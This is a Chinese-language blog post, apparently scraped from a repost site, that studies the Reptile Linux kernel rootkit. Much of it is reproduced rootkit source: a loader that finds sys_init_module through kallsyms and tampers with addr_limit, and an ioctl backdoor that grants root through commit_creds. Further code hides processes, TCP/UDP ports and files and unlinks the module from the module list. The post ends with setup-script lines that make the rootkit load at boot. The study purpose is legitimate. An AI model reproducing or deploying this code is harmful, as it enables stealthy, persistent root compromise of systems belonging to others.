LKM rootkit:Reptile學習

簡介

Reptile是github上一個很火的linux lkm rootkit,最近學習了一些linux rootkit的內容,在這裏記錄一下。html

主要是分析reptile的實現linux

Reptile的使用

安裝命令:git

sudo ./setup.sh install

而後執行下面的命令github

/reptile/reptile_cmd show

接着就能夠看到/reptile目錄下的一些東西了,這是項目安裝在系統中的一些文件,在安裝完成後,默認是隱藏的。具體的執行命令就再也不這裏贅述了ubuntu

會出現下面這些程序centos

Reptile原理分析

Reptile使用了兩個其餘的項目框架

一、khook:一個內核鉤子框架,具體分析能夠看這裏http://www.javashuo.com/article/p-sddzvgrc-s.htmlsocket

二、kmatryoshka:一個動態的模塊加載器tcp

這裏先分析一下kmatryoshka的實現ide

kmatryoshka

parasite_loader/main.c中的init_module函數是入口函數。encrypt目錄下表明的都是加密相關部分。

整個loader是做爲一個模塊插入到內核中去的,這個模塊的功能是加載用戶空間的模塊,使用的就是init_module函數的系統調用處理函數sys_init_module,它是一個導出函數,經過查找kallsyms獲得該函數的地址,就可使用。

首先看尋找sys_init_module的實現,使用的是kallsyms_on_each_symbol函數,傳入一個尋找函數就能夠從找到符號地址,實現使用的就是下面這兩個函數,在data[0]放入要尋找的內容,data[1]放入結果。

static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr)
{
    int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
        if (!name[i++]) return !!(data[1] = addr);
    } return 0;
}

static inline unsigned long ksym_lookup_name(const char *name)
{
    unsigned long data[2] = { (unsigned long)name, 0 };
    kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
    return data[1];
}

而後在init_module函數中這樣調用

sys_init_module = (void *)ksym_lookup_name("sys_init_module");

再獲取到符號地址後,在傳入parasite_blob,也就是目的模塊的地址時,還須要thread_info結構中的addr_limit,這個是表示用戶地址空間地址的最大值,在init_module函數中,會對地址作校驗,使用的就是addr_limit,這裏就會修改一下這個值,保證地址檢查經過。

if (sys_init_module) {
        const char *nullarg = parasite_blob;
        unsigned long seg = user_addr_max();

        while (*nullarg) nullarg++;

        user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
        sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg);
        user_addr_max() = seg;
    }

Reptile

回到Reptile,主目錄下,parasite_loader就是上面講到的項目,khook就是內核鉤子的框架,sbin是用戶態的一些程序,reptile_cmd等這些程序都使經過sbin下面的程序編譯出來的,script下面的腳本是生成的一些腳本存放目錄,下面的內容在安裝完成後自動刪除了。loader下面的程序也比較簡單,主要的邏輯寫在rep_mod中,下面主要說一下這個文件中各個函數的功能

 主函數,khook_init用來初始化khook,magic_packet_hook_options則是netlink鉤子,START在setup腳本中被設置成reptile_start,

static int __init reptile_init(void)
{
    int ret;
    char *argv[] = {START, NULL, NULL};

    //建立工做線程
    work_queue = create_workqueue(WORKQUEUE);

    ret = khook_init();

    if (ret != 0)
        goto out;

    magic_packet_hook_options.hook = (void *)magic_packet_hook;
    magic_packet_hook_options.hooknum = 0;
    magic_packet_hook_options.pf = PF_INET;
    magic_packet_hook_options.priority = NF_IP_PRI_FIRST;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0)
    nf_register_net_hook(&init_net, &magic_packet_hook_options);
#else
    nf_register_hook(&magic_packet_hook_options);
#endif
    
    exec(argv);
    hide();
out:
    return ret;
}
//不容許普通進程找到特殊進程
KHOOK(find_task_by_vpid);
struct task_struct *khook_find_task_by_vpid(pid_t vnr)
 
//特權進程的TIF_SYSCALL_AUDIT位要被取消,這個標誌位在thread_info結構
KHOOK(audit_alloc);
static int khook_audit_alloc(struct task_struct *t)
 
//清理cred結構的時候清除特權進程標誌位
KHOOK(exit_creds);
static void khook_exit_creds(struct task_struct *p)
 
//特權進程的子進程也須要有特權
KHOOK(copy_creds);
static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags)
 
//裝載可執行文件的時候
KHOOK_EXT(int, load_elf_binary, struct linux_binprm *);
static int khook_load_elf_binary(struct linux_binprm *bprm)

 

/*
用戶空間讀物UDP端口使用/proc/net/udp,這個文件的seq_ops的show操做是udp4_seq_show
隱藏udp端口
*/
KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *);
static int khook_udp4_seq_show(struct seq_file *seq, void *v)

 

/*
用戶空間讀物UDP端口使用/proc/net/tcp,這個文件的seq_ops的show操做是tcp4_seq_show
隱藏tcp端口
*/
KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *);
static int khook_tcp4_seq_show(struct seq_file *seq, void *v)

 

netlink鉤子

KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long);
static int khook_inet_ioctl(struct socket *sock, unsigned int cmd,
                unsigned long arg)
{
    int ret = 0;
    unsigned int pid;
    struct control args;
    struct sockaddr_in addr;
    struct hidden_conn *hc;

    if (cmd == AUTH && arg == HTUA) {
        if (control_flag) {
            control_flag = 0;
        } else {
            control_flag = 1;
        }

        goto out;
    }

    if (control_flag && cmd == AUTH) {
        if (copy_from_user(&args, (void *)arg, sizeof(args)))
            goto out;

        switch (args.cmd) {
        //0則更改隱藏或是顯示
        case 0:
            if (hide_module) {
                show();
                hidden = 0;
            } else {
                hide();
                hidden = 1;
            }
            break;
        case 1://根據pid設置進程的可見性
            if (copy_from_user(&pid, args.argv, sizeof(unsigned int)))
                goto out;

            if (is_invisible(pid))
                flag_tasks(pid, 0);
            else
                flag_tasks(pid, 1);

            break;
        case 2:
            if (file_tampering)
                file_tampering = 0;
            else
                file_tampering = 1;
            break;
        case 3://提權
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
            current->uid = 0;
            current->suid = 0;
            current->euid = 0;
            current->gid = 0;
            current->egid = 0;
            current->fsuid = 0;
            current->fsgid = 0;
            cap_set_full(current->cap_effective);
            cap_set_full(current->cap_inheritable);
            cap_set_full(current->cap_permitted);
#else
            commit_creds(prepare_kernel_cred(0));
#endif
            break;
        case 4://增長隱藏tcp端口
            if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
                goto out;

            hc = kmalloc(sizeof(*hc), GFP_KERNEL);

            if (!hc)
                goto out;

            hc->addr = addr;

            list_add(&hc->list, &hidden_tcp_conn);
            break;
        case 5://刪除隱藏tcp端口
            if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
                goto out;

            list_for_each_entry(hc, &hidden_tcp_conn, list)
            {
                if (addr.sin_port == hc->addr.sin_port &&
                    addr.sin_addr.s_addr ==
                    hc->addr.sin_addr.s_addr) {
                    list_del(&hc->list);
                    kfree(hc);
                    break;
                }
            }
            break;
        case 6://增長隱藏tcp端口
            if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
                goto out;

            hc = kmalloc(sizeof(*hc), GFP_KERNEL);

            if (!hc)
                goto out;

            hc->addr = addr;

            list_add(&hc->list, &hidden_udp_conn);
            break;
        case 7://刪除隱藏tcp端口
            if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
                goto out;

            list_for_each_entry(hc, &hidden_udp_conn, list)
            {
                if (addr.sin_port == hc->addr.sin_port &&
                    addr.sin_addr.s_addr ==
                    hc->addr.sin_addr.s_addr) {
                    list_del(&hc->list);
                    kfree(hc);
                    break;
                }
            }
            break;
        default:
            goto origin;
        }

        goto out;
    }

origin:
    ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg);
out:
    return ret;
}
View Code

 

//讀操做鉤子
KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *);
static ssize_t khook_vfs_read(struct file *file, char __user *buf,
             size_t count, loff_t *pos)

 

/*
getdents流程中的一個操做
說到文件隱藏,咱們不妨先看看文件遍歷的實現, 也就是系統調用getdents / getdents64 ,簡略地瀏覽它在內核態服務函數(sys_getdents)的源碼 (位於fs/readdir.c ),咱們能夠看到以下調用層次, sys_getdents ->iterate_dir -> struct file_operations 裏的 iterate ->這兒省略若干層次 -> struct dir_context 裏的 actor ,也就是filldir
filldir 負責把一項記錄(好比說目錄下的一個文件或者一個子目錄)填到返回的緩衝區裏
*/
filldir這些函數
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_fillonedir(void *__buf, const char *name, int namlen,
                loff_t offset, u64 ino, unsigned int d_type)
{
    int ret = 0;
    if (!strstr(name, HIDE) || !hidden)
        ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type);
    return ret;
}

KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_filldir(void *__buf, const char *name, int namlen,
             loff_t offset, u64 ino, unsigned int d_type)
{
    int ret = 0;
    if (!strstr(name, HIDE) || !hidden)
        ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type);
    return ret;
}

KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_filldir64(void *__buf, const char *name, int namlen,
               loff_t offset, u64 ino, unsigned int d_type)
{
    int ret = 0;
    if (!strstr(name, HIDE) || !hidden)
        ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type);
    return ret;
}

KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_fillonedir(void *__buf, const char *name, int namlen,
                   loff_t offset, u64 ino, unsigned int d_type)
{
    int ret = 0;
    if (!strstr(name, HIDE) || !hidden)
        ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type);
    return ret;
}

KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_filldir(void *__buf, const char *name, int namlen,
                loff_t offset, u64 ino, unsigned int d_type)
{
    int ret = 0;
    if (!strstr(name, HIDE) || !hidden)
        ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type);
    return ret;
}

#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0)
KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int);
static int khook_compat_filldir64(void *__buf, const char *name, int namlen,
                  loff_t offset, u64 ino, unsigned int d_type)
{
    int ret = 0;
    if (!strstr(name, HIDE) || !hidden)
        ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type);
    return ret;
}
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0)
KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *);
struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name)
#else
KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *);
struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
#endif
{
    struct dentry *found = NULL;
    if (!strstr(name->name, HIDE) || !hidden)
        found = KHOOK_ORIGIN(__d_lookup, parent, name);
    return found;
}

KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter);
static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter)
{
    if (hidden) {
        while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) {
            if (!(iter.task->flags & FLAG))
                break;

            iter.tgid++;
        }
    } else {
        iter = KHOOK_ORIGIN(next_tgid, ns, iter);
    }
    return iter;
}
View Code

 

//隱藏內容
int hide_content(void *arg, ssize_t size)
 
/*
寫在<$TAG></$TAG>中間的內容
*/
//檢查是否有須要隱藏的內容
int f_check(void *arg, ssize_t size)
 
//看這個進程是否被隱藏了,0表示被隱藏
int is_invisible(pid_t pid)
 
//set=0表示清楚特權,set=1表示設置特權,設置pid位
int flag_tasks(pid_t pid, int set)
 
//從新顯示這個模塊
void show(void)
 
//從全局module鏈表中刪除本模塊
void hide(void)
 

駐留

setup腳本中,有讓模塊在啓動時被加載的設置

    if [ "$SYSTEM" == "debian" ] || [ "$SYSTEM" == "ubuntu" ]; then
        echo -ne "#<$TAG>\n$MODULE\n#</$TAG>" >> /etc/modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
    elif [ "$SYSTEM" == "redhat" ] || [ "$SYSTEM" == "centos" ] || [ "$SYSTEM" == "fedora" ]; then
        echo -ne "#<$TAG>\nmodprobe $MODULE\n#</$TAG>" >> /etc/rc.modules && \
        chmod +x /etc/rc.modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
    #elif [ "$SYSTEM" == "arch" ]; then
    #    echo -ne "#<$TAG>\n$MODULE\n#</$TAG>" >> /etc/modules || { echo -e "\e[01;31mERROR!\e[00m\n"; exit; }
    fi
相關文章
相關標籤/搜索